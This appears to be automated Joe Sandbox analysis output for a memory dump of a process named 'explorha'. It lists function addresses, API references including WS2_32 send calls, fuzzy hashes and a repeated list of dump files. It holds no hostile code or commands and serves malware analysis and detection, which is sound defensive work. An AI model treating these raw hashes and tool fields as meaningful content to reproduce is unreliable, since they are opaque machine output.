Memory Dump Source

Source File: 00000002.00000002.2130672754.0000000000701000.00000040.00000001.01000000.00000008.sdmp, Offset: 00700000, based on PE: true

Associated: 00000002.00000002.2130649596.0000000000700000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130672754.0000000000764000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130744577.0000000000769000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130767970.000000000076B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130792007.0000000000775000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130815173.0000000000776000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130838465.0000000000777000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130944623.00000000008D1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130968284.00000000008D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130992106.00000000008E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131015605.00000000008E3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131038035.00000000008E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131038035.00000000008EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131088103.00000000008F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131112645.00000000008F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131137331.0000000000902000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131162505.0000000000909000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131193467.000000000091D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131218609.000000000091F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131242429.0000000000920000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131268887.0000000000932000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131300586.000000000094F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131327253.0000000000950000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131350972.0000000000951000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131375198.0000000000956000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131401886.0000000000957000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131426997.000000000095F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131452167.0000000000960000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131475821.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131500106.000000000096A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131526562.000000000096C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131553521.0000000000977000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131576497.000000000097C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131600115.000000000097D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131626714.0000000000980000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131653420.000000000098A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131676429.000000000098B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131676429.00000000009C3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131750216.00000000009F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131815918.00000000009F7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131876230.00000000009F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131903531.00000000009FD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131929428.00000000009FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131983084.0000000000A0B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2132009698.0000000000A0D000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_700000_explorha.jbxd

Yara matches

Similarity

API ID: _wcsrchr
String ID: .bat$.cmd$.com$.exe
API String ID: 1752292252-4019086052
Opcode ID: 3ec43a65457977cdefc604948bd7cebe09cad8535d32d91fa77c74aae0f139a7
Instruction ID: 50bdad8e34c835bb0765ae71663e6f2ed5228df12f95239f4e8e8a10f91fa281
Opcode Fuzzy Hash: 3ec43a65457977cdefc604948bd7cebe09cad8535d32d91fa77c74aae0f139a7
Instruction Fuzzy Hash: 87012677A243252636552069BC066B717A99BC1BB4F2A003EFC44F72C3FFACDC425196

Uniqueness

Uniqueness Score: -1.00%

Function 00702DC0 Relevance: 7.8, APIs: 5, Instructions: 272COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00702E5F
__Mtx_unlock.LIBCPMT ref: 00702ECC
__Cnd_broadcast.LIBCPMT ref: 00702EE3
__Mtx_unlock.LIBCPMT ref: 00702FF5
__Mtx_unlock.LIBCPMT ref: 0070309B

Memory Dump Source

Source File: 00000002.00000002.2130672754.0000000000701000.00000040.00000001.01000000.00000008.sdmp, Offset: 00700000, based on PE: true

Associated: 00000002.00000002.2130649596.0000000000700000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130672754.0000000000764000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130744577.0000000000769000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130767970.000000000076B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130792007.0000000000775000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130815173.0000000000776000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130838465.0000000000777000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130944623.00000000008D1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130968284.00000000008D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130992106.00000000008E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131015605.00000000008E3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131038035.00000000008E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131038035.00000000008EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131088103.00000000008F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131112645.00000000008F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131137331.0000000000902000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131162505.0000000000909000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131193467.000000000091D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131218609.000000000091F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131242429.0000000000920000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131268887.0000000000932000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131300586.000000000094F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131327253.0000000000950000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131350972.0000000000951000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131375198.0000000000956000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131401886.0000000000957000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131426997.000000000095F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131452167.0000000000960000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131475821.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131500106.000000000096A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131526562.000000000096C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131553521.0000000000977000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131576497.000000000097C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131600115.000000000097D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131626714.0000000000980000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131653420.000000000098A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131676429.000000000098B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131676429.00000000009C3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131750216.00000000009F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131815918.00000000009F7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131876230.00000000009F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131903531.00000000009FD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131929428.00000000009FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131983084.0000000000A0B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2132009698.0000000000A0D000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_700000_explorha.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Cnd_broadcast
String ID:
API String ID: 32384418-0
Opcode ID: a3653bc443d9a3f32a5d3f38b2147e2e8bfad6520b37c434b966908c7d422277
Instruction ID: 7d773e6781a40ed6cfc29baadf67f964ef928868e095c97b246453030e31e832
Opcode Fuzzy Hash: a3653bc443d9a3f32a5d3f38b2147e2e8bfad6520b37c434b966908c7d422277
Instruction Fuzzy Hash: EFA1E2B1A01216EFDB21DB68C94879AB7F8FF15354F004229E815D72C2EB38EA45CBD1

Uniqueness

Uniqueness Score: -1.00%

Function 0070D6EE Relevance: 7.7, APIs: 5, Instructions: 235COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 0070D75D
__Mtx_unlock.LIBCPMT ref: 0070D86D

Memory Dump Source

Source File: 00000002.00000002.2130672754.0000000000701000.00000040.00000001.01000000.00000008.sdmp, Offset: 00700000, based on PE: true

Associated: 00000002.00000002.2130649596.0000000000700000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130672754.0000000000764000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130744577.0000000000769000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130767970.000000000076B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130792007.0000000000775000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130815173.0000000000776000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130838465.0000000000777000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130944623.00000000008D1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130968284.00000000008D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130992106.00000000008E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131015605.00000000008E3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131038035.00000000008E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131038035.00000000008EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131088103.00000000008F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131112645.00000000008F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131137331.0000000000902000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131162505.0000000000909000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131193467.000000000091D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131218609.000000000091F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131242429.0000000000920000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131268887.0000000000932000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131300586.000000000094F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131327253.0000000000950000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131350972.0000000000951000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131375198.0000000000956000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131401886.0000000000957000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131426997.000000000095F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131452167.0000000000960000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131475821.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131500106.000000000096A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131526562.000000000096C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131553521.0000000000977000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131576497.000000000097C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131600115.000000000097D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131626714.0000000000980000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131653420.000000000098A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131676429.000000000098B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131676429.00000000009C3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131750216.00000000009F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131815918.00000000009F7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131876230.00000000009F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131903531.00000000009FD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131929428.00000000009FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131983084.0000000000A0B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2132009698.0000000000A0D000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_700000_explorha.jbxd

Yara matches

Similarity

API ID: Mtx_unlock
String ID:
API String ID: 1418687624-0
Opcode ID: 6f864dcfbfb6004315650b756e26dea06dc27d81debf057e38e0a260bc52dac6
Instruction ID: eb69cd63b0ec9272230362474170fe2815710ab87ba7a3e82ac8c8fdbdfabbc0
Opcode Fuzzy Hash: 6f864dcfbfb6004315650b756e26dea06dc27d81debf057e38e0a260bc52dac6
Instruction Fuzzy Hash: C881C3B1A00315DBDB309F68CC49FAAB7E4EF08314F118369E919A72D1DB79AD44CB91

Uniqueness

Uniqueness Score: -1.00%

Function 0070DAEB Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 64COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 0070DB4C

Strings

Sv, xrefs: 0070DBFF
invalid stoi argument, xrefs: 0070DD04
stoi argument out of range, xrefs: 0070DCFA

Memory Dump Source

Source File: 00000002.00000002.2130672754.0000000000701000.00000040.00000001.01000000.00000008.sdmp, Offset: 00700000, based on PE: true

Associated: 00000002.00000002.2130649596.0000000000700000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130672754.0000000000764000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130744577.0000000000769000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130767970.000000000076B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130792007.0000000000775000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130815173.0000000000776000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130838465.0000000000777000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130944623.00000000008D1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130968284.00000000008D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130992106.00000000008E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131015605.00000000008E3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131038035.00000000008E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131038035.00000000008EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131088103.00000000008F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131112645.00000000008F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131137331.0000000000902000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131162505.0000000000909000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131193467.000000000091D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131218609.000000000091F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131242429.0000000000920000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131268887.0000000000932000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131300586.000000000094F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131327253.0000000000950000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131350972.0000000000951000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131375198.0000000000956000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131401886.0000000000957000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131426997.000000000095F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131452167.0000000000960000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131475821.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131500106.000000000096A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131526562.000000000096C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131553521.0000000000977000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131576497.000000000097C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131600115.000000000097D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131626714.0000000000980000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131653420.000000000098A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131676429.000000000098B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131676429.00000000009C3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131750216.00000000009F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131815918.00000000009F7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131876230.00000000009F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131903531.00000000009FD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131929428.00000000009FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131983084.0000000000A0B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2132009698.0000000000A0D000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_700000_explorha.jbxd

Yara matches

Similarity

API ID: Mtx_unlock
String ID: invalid stoi argument$stoi argument out of range$Sv
API String ID: 1418687624-3838638389
Opcode ID: 182fa26ae1d8ef14e30b0819533092e644fa9997e2d82e6fca8a21feba365f0a
Instruction ID: 0584fe80cce110151903f1fed53c43b1be9808775ee1e71ae03a05098a947faa
Opcode Fuzzy Hash: 182fa26ae1d8ef14e30b0819533092e644fa9997e2d82e6fca8a21feba365f0a
Instruction Fuzzy Hash: 4B1182B2A00305DBCF30DFA8D846AA9F3F1EF54311F168565E906676A1EB39AC40CB51

Uniqueness

Uniqueness Score: -1.00%

Function 0073E110 Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 0073E197

Memory Dump Source

Source File: 00000002.00000002.2130672754.0000000000701000.00000040.00000001.01000000.00000008.sdmp, Offset: 00700000, based on PE: true

Associated: 00000002.00000002.2130649596.0000000000700000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130672754.0000000000764000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130744577.0000000000769000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130767970.000000000076B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130792007.0000000000775000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130815173.0000000000776000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130838465.0000000000777000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130944623.00000000008D1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130968284.00000000008D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130992106.00000000008E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131015605.00000000008E3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131038035.00000000008E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131038035.00000000008EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131088103.00000000008F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131112645.00000000008F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131137331.0000000000902000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131162505.0000000000909000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131193467.000000000091D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131218609.000000000091F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131242429.0000000000920000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131268887.0000000000932000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131300586.000000000094F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131327253.0000000000950000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131350972.0000000000951000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131375198.0000000000956000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131401886.0000000000957000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131426997.000000000095F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131452167.0000000000960000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131475821.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131500106.000000000096A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131526562.000000000096C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131553521.0000000000977000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131576497.000000000097C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131600115.000000000097D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131626714.0000000000980000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131653420.000000000098A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131676429.000000000098B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131676429.00000000009C3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131750216.00000000009F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131815918.00000000009F7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131876230.00000000009F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131903531.00000000009FD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131929428.00000000009FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131983084.0000000000A0B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2132009698.0000000000A0D000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_700000_explorha.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: b713bfd49b51041abb555fe8b87117765181b7de4fabe3ba4743ab7c7481a45c
Instruction ID: dcea59b335d4bbad62b031148a89944bf090b059d51f7f88ee544913292c86cc
Opcode Fuzzy Hash: b713bfd49b51041abb555fe8b87117765181b7de4fabe3ba4743ab7c7481a45c
Instruction Fuzzy Hash: 89B12732900695DFEB15CF68C881BAEBBE5EF55300F24816AE855DB383D63C9D01CB61

Uniqueness

Uniqueness Score: -1.00%

Function 0070D2DC Relevance: 6.2, APIs: 4, Instructions: 168networkCOMMON

Download Yara Rule

APIs

send.WS2_32(?,?,00000004,00000000), ref: 0070D43E
send.WS2_32(?,?,00000008,00000000), ref: 0070D47A
send.WS2_32(?,?,?,00000000), ref: 0070D4BC

Memory Dump Source

Source File: 00000002.00000002.2130672754.0000000000701000.00000040.00000001.01000000.00000008.sdmp, Offset: 00700000, based on PE: true

Associated: 00000002.00000002.2130649596.0000000000700000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130672754.0000000000764000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130744577.0000000000769000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130767970.000000000076B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130792007.0000000000775000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130815173.0000000000776000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130838465.0000000000777000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130944623.00000000008D1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130968284.00000000008D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130992106.00000000008E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131015605.00000000008E3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131038035.00000000008E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131038035.00000000008EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131088103.00000000008F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131112645.00000000008F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131137331.0000000000902000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131162505.0000000000909000.00000040.00000001.01000000.00000008.sdmpDownload File
